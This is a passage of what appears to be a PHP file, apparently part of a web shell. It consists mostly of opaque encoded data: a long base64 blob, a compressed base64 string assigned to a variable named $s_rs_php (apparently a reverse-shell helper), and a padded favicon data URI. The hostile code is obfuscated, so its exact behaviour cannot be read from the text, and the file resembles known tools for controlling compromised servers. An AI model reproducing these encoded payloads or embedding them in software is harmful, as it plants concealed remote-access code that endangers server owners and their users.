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";
$s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=";
$s_favicon ="data:image/x-icon;base64,AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABAMMOAADDDgAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAoAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAgAAACMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAAAAAAARgAAAGoAAAAhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAAAAAAXAAAAhgAAAHMAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAAAAAAAAAABtAAAAuQAAAFwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAAAAAAAAAAAADMAAAC8AAAA4QAAAG0AAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAACMAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA